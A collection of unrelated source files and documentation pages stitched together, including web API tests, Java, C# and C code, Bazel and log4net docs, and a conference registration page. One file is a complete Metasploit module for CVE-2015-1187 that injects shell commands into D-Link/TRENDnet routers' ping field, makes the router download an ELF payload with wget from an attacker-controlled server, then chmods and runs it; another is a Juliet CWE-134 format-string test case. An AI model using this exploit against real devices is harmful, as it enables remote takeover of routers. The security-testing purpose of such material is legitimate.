text:
var superagent = require('superagent');
var expect = require('chai').expect;
var app = require('../app');

var newCliente = {
  direccion: {
    codigoPostal: '8000',
    direccion: 'Charlone 650',
    ciudad: 'bahia blanca',
    provincia: 'buenos aires',
    pais: 'argentina'
  },
  nombre: 'santiago',
  apellido: 'benitez',
  nroTelefonoCasa: 12345678,
  nroTelefonoCelular: 123213456,
};

describe('clientes api', function() {
  before(function() {
    app.boot();
  });
  after(function() {
    app.shutdown();
  });

  describe('endpoints', function() {
    it('should create a new cliente when a request is made correctly', function(done) {
      superagent.post('http://localhost:3003/api/clientes')
        .send(newCliente)
        .end(function(e, res) {
          expect(e).to.be.null;
          expect(res.body._id).to.exist;
          newCliente._id = res.body._id;
          done();
        });
    });

    it('should return a 400 error with a message of required apellido when the apellido was not submited', function(done) {
      var invalidCliente = {
        direccion: {
          codigoPostal: '8000',
          direccion: 'Charlone 650',
          ciudad: 'bahia blanca',
          provincia: 'buenos aires',
          pais: 'argentina'
        },
        nombre: 'santiago',
        nroTelefonoCasa: 12345678,
        nroTelefonoCelular: 123213456,
      };

      superagent.post('http://localhost:3003/api/clientes')
        .send(invalidCliente)
        .end(function(e, res) {
          expect(res.status).to.eql(400);
          expect(res.body.error.apellido.msg).to.exist;
          done();
        });
    });

    it('should get the recently created cliente as part of the result set when requesting /api/propiedades', function(done) {
      superagent.get('http://localhost:3003/api/clientes')
        .end(function(e, res) {
          expect(e).to.be.null;
          expect(res.body.items).to.have.length.above(0);;
          expect(res.body.items.map(function(item) {
            return item._id;
          })).to.contain(newCliente._id);
          done();
        });
    });

    it('should get the the recently created cliente when requesting /api/clientes/{id}', function(done) {

      superagent.get('http://localhost:3003/api/clientes/' + newCliente._id)
        .end(function(e, res) {
          expect(e).to.be.null;
          expect(res.body._id).to.exist;
          expect(res.body._id).to.eql(newCliente._id);
          done();
        });
    });

    it('should update the the recently created cliente when requesting put /api/clientes/{id}', function(done) {
      newCliente.direccion.direccion = "Balbin 2325";
      newCliente.nombre = 'carmelo'
      superagent.put('http://localhost:3003/api/clientes/' + newCliente._id, newCliente)
        .end(function(e, res) {
          expect(e).to.be.null;
          expect(res.body._id).to.exist;
          expect(res.body._id).to.eql(newCliente._id);
          expect(res.body.nombre).to.eql('carmelo');
          expect(res.body.direccion.direccion).to.eql('Balbin 2325');
          newCliente = res.body;
          done();
        });
    });

    it('should return a 400 error with a message of required nombre when requesting put /api/clientes/{id} without a nombre', function(done) {
      var invalidCliente = {
        direccion: {
          codigoPostal: '8000',
          direccion: 'Charlone 650',
          ciudad: 'bahia blanca',
          provincia: 'buenos aires',
          pais: 'argentina'
        },
        apellido: 'santiago',
        nroTelefonoCasa: 12345678,
        nroTelefonoCelular: 123213456,
      };
      superagent.put('http://localhost:3003/api/clientes/' + newCliente._id, invalidCliente)
        .end(function(e, res) {
          expect(res.status).to.eql(400);
          expect(res.body.error.nombre.msg).to.exist;
          done();
        });
    });

    it('should remove the the recently created propiedad when requesting delete /api/clientes/{id}', function(done) {

      superagent.del('http://localhost:3003/api/clientes/' + newCliente._id)
        .end(function(e, res) {
          expect(e).to.be.null;
          expect(res.ok).to.be.true;
          done();
        });
    });

    it('should return an error when requesting the recently removed cliente', function(done) {
      superagent.get('http://localhost:3003/api/clientes/' + newCliente._id)
        .end(function(e, res) {
          expect(e).to.exist;
          expect(e.status).to.eql(404);
          done();
        });
    });
  });
});


text:
/* TEMPLATE GENERATED TESTCASE FILE
Filename: CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84_goodG2B.cpp
Label Definition File: CWE134_Uncontrolled_Format_String.vasinks.label.xml
Template File: sources-vasinks-84_goodG2B.tmpl.cpp
*/
/*
 * @description
 * CWE: 134 Uncontrolled Format String
 * BadSource: environment Read input from an environment variable
 * GoodSource: Copy a fixed string into data
 * Sinks: vfprintf
 *    GoodSink: vfwprintf with a format string
 *    BadSink : vfwprintf without a format string
 * Flow Variant: 84 Data flow: data passed to class constructor and destructor by declaring the class object on the heap and deleting it after use
 *
 * */
#ifndef OMITGOOD

#include <stdarg.h>
#include "std_testcase.h"
#include "CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84.h"

namespace CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84
{
CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84_goodG2B::CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84_goodG2B(wchar_t * dataCopy)
{
    data = dataCopy;
    /* FIX: Use a fixed string that does not contain a format specifier */
    wcscpy(data, L"fixedstringtest");
}

static void goodG2BVaSink(wchar_t * data, ...)
{
    {
        va_list args;
        va_start(args, data);
        /* POTENTIAL FLAW: Do not specify the format allowing a possible format string vulnerability */
        vfwprintf(stdout, data, args);
        va_end(args);
    }
}

CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84_goodG2B::~CWE134_Uncontrolled_Format_String__wchar_t_environment_vfprintf_84_goodG2B()
{
    goodG2BVaSink(data, data);
}
}
#endif /* OMITGOOD */

redpajama_set_name: RedPajamaGithub


text:
require 'uri'
require 'rack/auth/abstract/handler'
require 'rack/auth/abstract/request'
require 'rack/request'

module GrapeAPISignature
  module Middleware
    class GrapeAuth < GrapeAPISignature::Middleware::Auth
      attr_accessor :user_setter

      def initialize(app, max_request_age = 900, user_setter = :'current_user=', &authenticator)
        super(app, max_request_age, &authenticator)
        self.user_setter = user_setter
      end

      protected

      def endpoint
        env['api.endpoint']
      end

      def on_valid
        endpoint.send(user_setter, user) if user_setter
        super
      end

      def secret_key
        authenticator_result[:secret_key]
      end

      def user
        authenticator_result[:user]
      end

      def unauthorized(www_authenticate = challenge)
        endpoint.error!({ error: 'Unauthorized' }, 401,  'WWW-Authenticate' => www_authenticate.to_s)
      end

      def bad_request
        endpoint.error!({ error: 'Bad Request' }, 400)
      end
    end
  end
end


text:
using System.Windows;
using System.Windows.Controls;
using System.Windows.Media;

namespace CustomWindow
{
    public partial class WindowButton : Button
    {
        #region DependencyProperties

        /// <summary>
        /// Button content
        /// <remarks>Base button's content property is hidden</remarks>
        /// </summary>
        new public object Content
        {
            get { return GetValue(ContentProperty); }
            set { SetValue(ContentProperty, value); RefreshContent(); }
        }

        new public static readonly DependencyProperty ContentProperty =
            DependencyProperty.Register("Content", typeof(object), typeof(WindowButton), new UIPropertyMetadata());

        /// <summary>
        /// Disabled button content
        /// </summary>
        public object ContentDisabled
        {
            get { return GetValue(ContentDisabledProperty); }
            set { SetValue(ContentDisabledProperty, value); RefreshContent(); }
        }

        public static readonly DependencyProperty ContentDisabledProperty =
            DependencyProperty.Register("ContentDisabled", typeof(object), typeof(WindowButton), new UIPropertyMetadata());

        /// <summary>
        /// Corner radius of the button
        /// </summary>
        public CornerRadius CornerRadius
        {
            get { return (CornerRadius)GetValue(CornerRadiusDPProperty); }
            set { SetValue(CornerRadiusDPProperty, value); }
        }

        public static readonly DependencyProperty CornerRadiusDPProperty =
            DependencyProperty.Register("CornerRadius", typeof(CornerRadius), typeof(WindowButton), new UIPropertyMetadata(new CornerRadius()));

        [System.ComponentModel.Bindable(true)]
        public object ActiveContent
        {
            get { return GetValue(ActiveContentProperty); }
            set { SetValue(ActiveContentProperty, value); }
        }

        public static readonly DependencyProperty ActiveContentProperty =
            DependencyProperty.Register("ActiveContent", typeof(object), typeof(WindowButton), new UIPropertyMetadata());

        #endregion

        /// <summary>
        /// Button default Background
        /// </summary>
        public virtual Brush BackgroundDefaultValue
        {
            get { return (Brush)FindResource("DefaultBackgroundBrush"); }
        }

        /// <summary>
        /// Instantiate WindowButton class
        /// </summary>
        public WindowButton()
        {
            InitializeComponent();

            this.IsEnabledChanged += (s, e) => RefreshContent();
        }

        /// <summary>
        /// Set's the content of the button according to the current 'IsEnabled' state of the button
        /// </summary>
        protected void RefreshContent()
        {
            // Button is enabled
            if (this.IsEnabled)
                this.ActiveContent = this.Content;
            else
                this.ActiveContent = this.ContentDisabled;
        }
    }
}


text:
package ma.wafa.cream.domain.util;

import ma.wafa.cream.domain.util.JSR310DateConverters.*;

import java.time.*;
import java.util.Date;

import javax.persistence.AttributeConverter;
import javax.persistence.Converter;

public final class JSR310PersistenceConverters {

    private JSR310PersistenceConverters() {}

    @Converter(autoApply = true)
    public static class LocalDateConverter implements AttributeConverter<LocalDate, java.sql.Date> {

        @Override
        public java.sql.Date convertToDatabaseColumn(LocalDate date) {
            return date == null ? null : java.sql.Date.valueOf(date);
        }

        @Override
        public LocalDate convertToEntityAttribute(java.sql.Date date) {
            return date == null ? null : date.toLocalDate();
        }
    }

    @Converter(autoApply = true)
    public static class ZonedDateTimeConverter implements AttributeConverter<ZonedDateTime, Date> {

        @Override
        public Date convertToDatabaseColumn(ZonedDateTime zonedDateTime) {
            return ZonedDateTimeToDateConverter.INSTANCE.convert(zonedDateTime);
        }

        @Override
        public ZonedDateTime convertToEntityAttribute(Date date) {
            return DateToZonedDateTimeConverter.INSTANCE.convert(date);
        }
    }

    @Converter(autoApply = true)
    public static class LocalDateTimeConverter implements AttributeConverter<LocalDateTime, Date> {

        @Override
        public Date convertToDatabaseColumn(LocalDateTime localDateTime) {
            return LocalDateTimeToDateConverter.INSTANCE.convert(localDateTime);
        }

        @Override
        public LocalDateTime convertToEntityAttribute(Date date) {
            return DateToLocalDateTimeConverter.INSTANCE.convert(date);
        }
    }
}


text:
    <meta http-equiv="Content-Type" content="text/html; charset=Windows-1252" />
    <meta name="vs_targetSchema" content="http://schemas.microsoft.com/intellisense/ie5" />
    <title>PropertiesDictionary Methods</title>
    <xml>
    </xml>
    <link rel="stylesheet" type="text/css" href="MSDN.css" />

            Apache log4net™ SDK Documentation - Microsoft .NET Framework 4.0

PropertiesDictionary Methods

The methods of the PropertiesDictionary class are listed below. For a complete list of PropertiesDictionary class members, see the PropertiesDictionary Members topic.

Public Instance Methods

Clear	 Remove all properties from the properties collection

Contains (inherited from ReadOnlyPropertiesDictionary)	 Test if the dictionary contains a specified key

Equals (inherited from Object)

GetHashCode (inherited from Object)

GetKeys (inherited from ReadOnlyPropertiesDictionary)	 Gets the key names.

GetObjectData (inherited from ReadOnlyPropertiesDictionary)	 Serializes this object into the SerializationInfo provided.

GetType (inherited from Object)

Remove	 Remove the entry with the specified key from this dictionary

ToString (inherited from Object)

See Also

        PropertiesDictionary Class | log4net.Util Namespace

      <object type="application/x-oleobject" classid="clsid:1e2a7bd0-dab9-11d0-b93a-00c04fc99f9e" viewastext="true" style="display: none;">
        <param name="Keyword" value="PropertiesDictionary class, methods">
        </param>
      </object>

Copyright 2004-2013 The Apache Software Foundation.

Apache log4net, Apache and log4net are trademarks of The Apache Software Foundation.


text:
<?xml version="1.0" encoding="UTF-8"?>
<project>
	<modelVersion>4.0.0</modelVersion>
	<groupId>org.fast.test</groupId>
	<artifactId>it2</artifactId>
	<version>0.1</version>
	<name>Maven Plugin IT 4</name>
	<description>Integration Test 4 for the Maven Plugin</description>
	<build>
		<finalName>it4</finalName>
		<resources>
			<resource>
				<directory>src/main/resources</directory>
				<filtering>true</filtering>
				<includes>
					<include>**/*.html</include>
					<include>**/*.xml</include>
				</includes>
			</resource>
			<resource>
				<directory>src/main/resources</directory>
				<filtering>false</filtering>
				<excludes>
					<exclude>**/*.html</exclude>
					<exclude>**/*.xml</exclude>
				</excludes>
			</resource>
		</resources>
		<plugins>
			<plugin>
				<groupId>org.apache.maven.plugins</groupId>
				<artifactId>maven-resources-plugin</artifactId>
				<configuration>
					<encoding>UTF-8</encoding>
				</configuration>
			</plugin>
			<plugin>
				<groupId>org.fast</groupId>
				<artifactId>fast-maven-plugin</artifactId>
				<configuration></configuration>
			</plugin>
		</plugins>
	</build>
</project>


text:
package org.jnetpcap;

// TODO: Auto-generated Javadoc
/**
 * Interface to to capture header provided by the capturing library. For example
 * PcapHeader, the capture header provided by libpcap,
 * implements this interface which provides access to minimum set of information
 * about the capture packet.
 *
 * @author Mark Bednarczyk
 * @author Sly Technologies, Inc.
 */
public interface JCaptureHeader {

	/**
	 * Retrieves the length of the packet that was actually captured. This could
	 * be only a portion of the original packet if snaplen filter was set during
	 * Pcap.openXXX call. If the packet was not trucated, this length should equal
	 * the length returned by {@link #wirelen()}.
	 *
	 * @return length in bytes
	 */
	public abstract int caplen();

	/**
	 * Retrieves the length of the packet before any of it was truncated by the
	 * capture mechanism. This is the size of the orignal packet as it was send
	 * accross the network.
	 *
	 * @return length in bytes
	 */
	public abstract int wirelen();

	/**
	 * Capture timestamp in UNIX seconds.
	 *
	 * @return timestamp in seconds since 1970
	 */
	public abstract long seconds();

	/**
	 * Fractional part of the second when the packet was captured. If the
	 * resolution of the original capture timestamp is lower than nano seconds,
	 * they are converted to nano seconds. For example of the capture timestamp is
	 * in micro seconds, then the micro seconds fraction is multiplied by a 1000
	 * before being returned to conform to nano second return timestamp.
	 *
	 * @return Number of nano seconds at the time of the packet capture. The valid
	 *         value returned by this method is from 0 to 999,999,999.
	 */
	public abstract long nanos();

	/**
	 * Converts the timestamp into a java style timestamp suitable for usage with
	 * Date class.
	 *
	 * @return capture timestamp in milli-seconds
	 */
	public abstract long timestampInMillis();

	/**
	 * Gets the absolute capture timestamp in nano seconds (10e-9).
	 *
	 * @return timestamp in nano seconds
	 */
	public abstract long timestampInNanos();

	/**
	 * Gets the absolute capture timestam pin micro seconds (10e-6).
	 *
	 * @return timestamp in micro seconds
	 */
	public abstract long timestampInMicros();

	/**
	 * Seconds.
	 *
	 * @param seconds
	 *          the seconds
	 */
	public abstract void seconds(long seconds);

	/**
	 * Nanos.
	 *
	 * @param nanos
	 *          the nanos
	 */
	public abstract void nanos(long nanos);

	/**
	 * Caplen.
	 *
	 * @param caplen
	 *          the caplen
	 */
	public abstract void caplen(int caplen);

	/**
	 * Wirelen.
	 *
	 * @param wirelen
	 *          the wirelen
	 */
	public abstract void wirelen(int wirelen);

	/**
	 * Inits the from.
	 *
	 * @param captureHeader
	 *          the capture header
	 */
	public abstract void initFrom(JCaptureHeader captureHeader);
}


text:
@interface DemoTableViewCell : UITableViewCell

@end


text:
#include "mfcpch.h"
#include "expandblob.h"
#include "tessclas.h"
#include "const.h"
#include "structures.h"
#include "freelist.h"

/***********************************************************************
free_blob(blob) frees the blob and everything it is connected to,
i.e. outlines, nodes, edgepts, bytevecs, ratings etc
*************************************************************************/
void free_blob(  /*blob to free */
               register TBLOB *blob) {
  if (blob == NULL)
    return;                      /*duff blob */
  free_tree (blob->outlines);    /*do the tree of outlines */
  oldblob(blob);  /*free the actual blob */
}

/***************************************************************************
free_tree(outline) frees the current outline
and then its sub-tree
*****************************************************************************/
void free_tree(  /*outline to draw */
               register TESSLINE *outline) {
  if (outline == NULL)
    return;                      /*duff outline */
  if (outline->next != NULL)
    free_tree (outline->next);
  if (outline->child != NULL)
    free_tree (outline->child);  /*and sub-tree */
  free_outline(outline);  /*free the outline */
}

/*******************************************************************************
free_outline(outline) frees an outline and anything connected to it
*********************************************************************************/
void free_outline(  /*outline to free */
                  register TESSLINE *outline) {
  if (outline->compactloop != NULL)
                                 /*no compact loop */
      memfree (outline->compactloop);

  if (outline->loop != NULL)
    free_loop (outline->loop);

  oldoutline(outline);
}

/*********************************************************************************
free_loop(startpt) frees all the elements of the closed loop
starting at startpt
***********************************************************************************/
void free_loop(  /*outline to free */
               register EDGEPT *startpt) {
  register EDGEPT *edgept;       /*current point */

  if (startpt == NULL)
    return;
  edgept = startpt;
  do {
    edgept = oldedgept (edgept); /*free it and move on */
  }
  while (edgept != startpt);
}


text:
var Daemon = require('../lib/daemon/daemon');

var userstore = require('../lib/db/userstore');

var net = require('net');
var dnode = require('dnode');
var usc = require('unix-socket-credentials');
var fs = require('fs');
var async = require('async');
var mkdirp = require('mkdirp');
var path = require('path');

var isRoot = !process.getuid();

var nacdir = userstore('nac')
function nacpath(file) {
    return path.join(nacdir, file);
}
var LPATH = isRoot ? '/tmp/nacd/nacd.sock': nacpath('nacd.sock');

var daemonConfig = require('../lib/daemon/config');

var errlog = fs.createWriteStream(
        (daemonConfig.stderr || isRoot ? '/var/log/nacd.err.log'
            : nacpath('nacd.err.log')),
            {flags:'a'}),
    outlog = fs.createWriteStream(
        (daemonConfig.stdout || isRoot ? '/var/log/nacd.out.log'
            : nacpath('nacd.out.log')),
            {flags:'a'});

async.parallel([
    function(cb) { errlog.once('open', function() { cb(); }) },
    function(cb) { outlog.once('open', function() { cb(); }) },
], checkAlreadyRunning);

function clientError(e) {
    var str = e ? (e.stack ? e.stack : e) : 'description not available';
    console.error('Client socket/dnode error:', str);
}

function checkAlreadyRunning(e) {
    if (e) return console.error(e);
    net.connect({path: LPATH}, function() {
        console.error("nacd: daemon is already running at", LPATH);
        process.exit(1);
    }).on('error', runDaemon);
}

function runDaemon() {

    console.log("Listening on", LPATH);
    if (~process.argv.indexOf('--daemon'))
        require('daemon')({
            stdout: outlog,
            stderr: errlog
        });

    Daemon.create(function (err, daemon) {

        if (err) return console.error('', err.stack) || process.exit(1);

        if (fs.existsSync(LPATH))
            fs.unlinkSync(LPATH);

        mkdirp.sync(path.dirname(LPATH), 0755);
        fs.chmodSync(path.dirname(LPATH), 0755);
        net.createServer(serveClient).listen(LPATH, function () {
            fs.chmodSync(LPATH, 0666);
        });

        function serveClient(client) {
            client.on('error', clientError);
            usc.getCredentials(client, function (err, cred) {
                if (err) return console.log(err);
                var d = dnode(Daemon.interface(cred.uid, daemon));
                d.on('error', clientError);
                client.pipe(d).pipe(client);
            });
        }

        process.on("uncaughtException", function(err) {
            if (err && err.stack)
                console.error("Uncaught:", err.stack);
            else
                console.error('Uncaught error: ' + err);
            killWorkers();
        });
        process.on("SIGINT", function() {
            console.error("\nGot SIGINT, shutting down");
            killWorkers();
        });
        process.on("SIGTERM", function() {
            console.log("\nGot SIGTERM, shutting down");
            killWorkers();
        });
        function killWorkers(err) {
            daemon.all().forEach(function(app) {
                app.kill('SIGTERM', function() {});
            });
            process.exit();
        }

    });
}


text:
var express = require('express');
var router = express.Router();

/* GET home page. */

module.exports = router;


text:
layout: documentation
title: Repository rules
category: extending
---
# Repository Rules

This page covers how to create repository rules and provides examples for
more details.

An [external repository](../external.md) is a rule that can be used only
in the `WORKSPACE` file and enables non-hermetic operation at the loading phase
of Bazel. Each external repository rule creates its own workspace, with its
own BUILD files and artifacts. They can be used to depend on third-party
libraries (such as Maven packaged libraries) but also to generate BUILD files
specific to the host Bazel is running on.

## Repository rule creation

In a `.bzl` file, use the
[repository_rule](lib/globals.html#repository_rule) function to create a new
repository rule and store it in a global variable.

A custom repository rule can be used just like a native repository rule. It
has a mandatory `name` attribute and every target present in its build files
can be referred as `@<name>//package:target` where `<name>` is the value of the
`name` attribute.

The rule is loaded when you explicitly build it, or if it is a dependency of
the build. In this case, Bazel will execute its `implementation` function. This
function describe how to create the repository, its content and BUILD files.

## Attributes

An attribute is a rule argument, such as `url` or `sha256`. You must list
the attributes and their types when you define a repository rule.

```python
local_repository = repository_rule(
    implementation=_impl,
    local=True,
    attrs={"path": attr.string(mandatory=True)})
```

`name` attributes are implicitly defined for all `repository_rule`s.
To access an attribute, use `repository_ctx.attr.<attribute_name>`.
The name of a repository rule is accessible with `repository_ctx.name`.

If an attribute name starts with `_` it is private and users cannot set it.

## Implementation function

Every repository rule requires an `implementation` function. It contains the
actual logic of the rule and is executed strictly in the Loading Phase.

The function has exactly one input parameter, `repository_ctx`. The function
returns either `None` to signify that the rule is reproducible given the
specified parameters, or a dict with a set of parameters for that rule that
would turn that rule into a reproducible one generating the same repository. For
example, for a rule tracking a git repository that would mean returning a
specific commit identifier instead of a floating branch that was originally
specified.

The input parameter `repository_ctx` can be used to
access attribute values, and non-hermetic functions (finding a binary,
executing a binary, creating a file in the repository or downloading a file
from the Internet). See [the library](lib/repository_ctx.html) for more
context. Example:

```python
def _impl(repository_ctx):
  repository_ctx.symlink(repository_ctx.attr.path, "")

local_repository = repository_rule(
    implementation=_impl,
    ...)
```

## When is the implementation function executed?

If the repository is declared as `local` then change in a dependency
in the dependency graph (including the WORKSPACE file itself) will
cause an execution of the implementation function.

The implementation function can be _restarted_ if a dependency it
requests is _missing_. The beginning of the implementation function
will be re-executed after the dependency has been resolved. To avoid
unnecessary restarts (which are expensive, as network access might
have to be repeated), label arguments are prefetched, provided all
label arguments can be resolved to an existing file. Note that resolving
a path from a string or a label that was constructed only during execution
of the function might still cause a restart.

Finally, for non-`local` repositories, only a change in the following
dependencies might cause a restart:

- `.bzl` files needed to define the repository rule.
- Declaration of the repository rule in the `WORKSPACE` file.
- Value of any environment variable declared with the `environ`
attribute of the
[`repository_rule`](https://docs.bazel.build/skylark/lib/globals.html#repository_rule)
function. The value of those environment variable can be enforced from
the command line with the
[`--action_env`](https://docs.bazel.build/command-line-reference.html#flag--action_env)
flag (but this flag will invalidate every action of the build).
- Content of any file used and referred to by a label (e.g.,
  `//mypkg:label.txt` not `mypkg/label.txt`).

## Forcing refetch of external repositories

Sometimes, an external repository can become outdated without any change to its
definition or dependencies. For example, a repository fetching sources might
follow a particular branch of a third-party repository, and new commits are
available on that branch. In this case, you can ask bazel to refetch all
external repositories unconditionally by calling `bazel sync`.

Moreover, some rules inspect the local machine and might become
outdated if the local machine was upgraded. Here you can ask bazel to
only refetch those external repositories where the
[`repository_rule`](https://docs.bazel.build/skylark/lib/globals.html#repository_rule)
definition has the `configure` attribute set, use `bazel sync --configure`.

## Examples

- [C++ auto-configured toolchain](https://cs.opensource.google/bazel/bazel/+/master:tools/cpp/cc_configure.bzl;drc=644b7d41748e09eff9e47cbab2be2263bb71f29a;l=176):
it uses a repository rule to automatically create the
C++ configuration files for Bazel by looking for the local C++ compiler, the
environment and the flags the C++ compiler supports.

- [Go repositories](https://github.com/bazelbuild/rules_go/blob/67bc217b6210a0922d76d252472b87e9a6118fdf/go/private/go_repositories.bzl#L195)
  uses several `repository_rule` to defines the list of dependencies
  needed to use the Go rules.

- [rules_jvm_external](https://github.com/bazelbuild/rules_jvm_external) creates
  an external repository called `@maven` by default that generates build targets
  for every Maven artifact in the transitive dependency tree.


text:
Amend a git commit:

~~~~
git commit --amend
~~~~


text:
<!DOCTYPE html>

  <link rel="canonical" href="/registration.html">

  <meta http-equiv="X-UA-Compatible" content="IE=edge">
  <meta http-equiv="content-type" content="text/html; charset=utf-8">

  <meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1">

  <meta name="DC.title" content="Registration" />
  <meta name="DC.creator" content="" />
  <meta name="DC.date" content="2016" />
  <meta name="DC.rights" content="" />
  <meta name="DC.source" content="the chicago linguistic society" />

  <meta http-equiv="X-Clacks-Overhead" content="GNU Terry Pratchett" />

  <title>

      Registration

  </title>

  <link rel="stylesheet" href="/public/css/poole.css">
  <link rel="stylesheet" href="/public/css/syntax.css">
  <link rel="stylesheet" href="/public/css/lanyon.css">
  <link rel="stylesheet" href="/public/css/ed.css">

  <link rel="apple-touch-icon-precomposed" sizes="180x180" href="/public/apple-touch-icon-precomposed.png">
  <link rel="shortcut icon" href="/public/favicon.ico?">

  <link rel="alternate" type="application/rss+xml" title="RSS" href="/atom.xml">

<input type="checkbox" class="sidebar-checkbox" id="sidebar-checkbox">

    Home

          Call for Papers

          Conference

          Links

          Proceedings

          Local Information

          Previous Conferences

          Registration

      © 2019 Orest Xherija

      Powered by Jekyll and Ed.

            the chicago linguistic society

at The University of Chicago

Registration

Registration during the conference will be $40 for students, $75 for recent graduates and $120 for non-(students/recent graduates). Up to the day before the conference, pre-registration is available online at $35 for students, $70 for recent graduates and $110 for non-(students/recent graduates). Optionally, you may also attend our Saturday night banquet and traditional CLS karaoke party for an additional $20. Payment will take place on-site, regardless of pre-registration status.


text:
package org.telegram.android.ui.plurals;

/**
 * Converted to Java by Sam Marshak, 2012
 */
public class PluralRules_Czech extends PluralRules
{
	public int quantityForNumber(int count)
	{
		if (count == 1)
		{
			return QUANTITY_ONE;
		}
		else if (count >= 2 && count <= 4)
		{
			return QUANTITY_FEW;
		}
		else
		{
			return QUANTITY_OTHER;
		}
	}
}


text:
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking # Only tested on Emulated environment

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::Remote::HttpServer::HTML
  include Msf::Exploit::EXE
  include Msf::Exploit::FileDropper

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'D-Link/TRENDnet NCC Service Command Injection',
      'Description'    => %q{
        This module exploits a remote command injection vulnerability on several routers. The
        vulnerability exists in the ncc service, while handling ping commands. This module has
        been tested on a DIR-626L emulated environment. Several D-Link and TRENDnet devices
        are reported as affected, including: D-Link DIR-626L (Rev A) v1.04b04, D-Link DIR-636L
        (Rev A) v1.04, D-Link DIR-808L (Rev A) v1.03b05, D-Link DIR-810L (Rev A) v1.01b04, D-Link
        DIR-810L (Rev B) v2.02b01, D-Link DIR-820L (Rev A) v1.02B10, D-Link DIR-820L (Rev A)
        v1.05B03, D-Link DIR-820L (Rev B) v2.01b02, D-Link DIR-826L (Rev A) v1.00b23, D-Link
        DIR-830L (Rev A) v1.00b07, D-Link DIR-836L (Rev A) v1.01b03 and TRENDnet TEW-731BR (Rev 2)
        v2.01b01
      },
      'Author'         =>
        [
          'Peter Adkins <peter.adkins[at]kernelpicnic.net>', # Vulnerability discovery and initial PoC
          'Tiago Caetano Henriques', # Vulnerability discovery and initial PoC
          'Michael Messner <devnull[at]s3cur1ty.de>' # Metasploit module
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          ['CVE', '2015-1187'],
          ['BID', '72816'],
          ['URL', 'https://github.com/darkarnium/secpub/tree/master/Multivendor/ncc2'],
          ['URL', 'http://seclists.org/fulldisclosure/2015/Mar/15'],
          ['URL', 'http://securityadvisories.dlink.com/security/publication.aspx?name=SAP10052']
        ],
      'Targets'        =>
        # Only tested on D-Link DIR-626L where wget is available
        [
          [ 'Linux mipsel Payload',
            {
            'Arch' => ARCH_MIPSLE,
            'Platform' => 'linux'
            }
          ],
          [ 'Linux mipsbe Payload',
            {
            'Arch' => ARCH_MIPSBE,
            'Platform' => 'linux'
            }
          ],
        ],
      'DisclosureDate'  => 'Feb 26 2015',
      'DefaultTarget'   => 0))

    register_options(
      [
        OptString.new('WRITABLEDIR', [ true, 'A directory where we can write files', '/tmp' ]),
        OptString.new('EXTURL', [ false, 'An alternative host to request the EXE payload from' ]),
        OptString.new('TARGETURI', [true, 'The base path to the vulnerable application area', '/ping.ccp']),
        OptInt.new('HTTPDELAY', [true, 'Time that the HTTP Server will wait for the ELF payload request', 10])
      ], self.class)
  end

  def check
    begin
      res = send_request_cgi({
        'method' => 'GET',
        'uri'    => normalize_uri(target_uri.path)
      })

      # unknown if other devices also using mini_httpd
      if res && [500].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
        return Exploit::CheckCode::Detected
      end
    rescue ::Rex::ConnectionError
      return Exploit::CheckCode::Unknown
    end

    Exploit::CheckCode::Unknown
  end

  def exec_command(cmd, timeout = 20)
    begin
      res = send_request_cgi({
        'method' => 'POST',
        'uri'    => normalize_uri(target_uri.path),
        'encode_params' => false,
        'vars_post' => {
          'ccp_act' => 'ping_v6',
          'ping_addr' => '$(' + cmd + ')'
        }
      }, timeout)
      return res
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
    end
  end

  def primer
    @payload_url = get_uri
    wget_payload
  end

  def exploit
    print_status("Accessing the vulnerable URL...")

    unless check == Exploit::CheckCode::Detected
      fail_with(Failure::NoTarget, "#{peer} - Failed to access the vulnerable URL")
    end

    print_status("Exploiting...")

    @pl = generate_payload_exe
    @payload_url  = ''
    @dropped_elf = rand_text_alpha(rand(5) + 3)

    if datastore['EXTURL'].blank?
      begin
        Timeout.timeout(datastore['HTTPDELAY']) { super }
      rescue Timeout::Error
      end
      chmod_payload
      exec_payload
    else
      @payload_url = datastore['EXTURL']
      wget_payload
      chmod_payload
      exec_payload
    end
  end

  def wget_payload
    upload_path = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    cmd = "wget${IFS}#{@payload_url}${IFS}-O${IFS}#{upload_path}"

    print_status("Downloading the payload to the target machine...")
    res = exec_command(cmd)

    if res && [200].include?(res.code) && res.headers['Server'] && res.headers['Server'] =~ /mini_httpd/
      register_files_for_cleanup(upload_path)
    else
      fail_with(Failure::Unknown, "#{peer} - Failed to download the payload to the target")
    end
  end

  def chmod_payload
    cmd = "chmod${IFS}777${IFS}#{File.join(datastore['WRITABLEDIR'], @dropped_elf)}"

    print_status("chmod the payload...")
    res = exec_command(cmd, 1)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Unable to chmod payload")
    end

    Rex.sleep(1)
  end

  def exec_payload
    cmd = File.join(datastore['WRITABLEDIR'], @dropped_elf)

    print_status("Executing the payload...")
    res = exec_command(cmd, 1)

    unless res
      fail_with(Failure::Unknown, "#{peer} - Unable to exec payload")
    end

    Rex.sleep(1)
  end

  # Handle incoming requests to the HTTP server
  def on_request_uri(cli, request)
    print_status("Request: #{request.uri}")
    if request.uri =~ /#{Regexp.escape(get_resource)}/
      print_status('Sending payload...')
      send_response(cli, @pl)
    end
  end
end


text:
/* $Id: TableAndCaption.java 1242848 2012-02-10 16:51:08Z phancock $ */

package org.apache.fop.fo.flow.table;

// XML
import org.xml.sax.Locator;

import org.apache.fop.apps.FOPException;
import org.apache.fop.fo.FONode;
import org.apache.fop.fo.FObj;
import org.apache.fop.fo.PropertyList;
import org.apache.fop.fo.ValidationException;
import org.apache.fop.fo.properties.CommonAccessibility;
import org.apache.fop.fo.properties.CommonAccessibilityHolder;

/**
 * Class modelling the
 * fo:table-and-caption property.
 * TODO needs implementation
 */
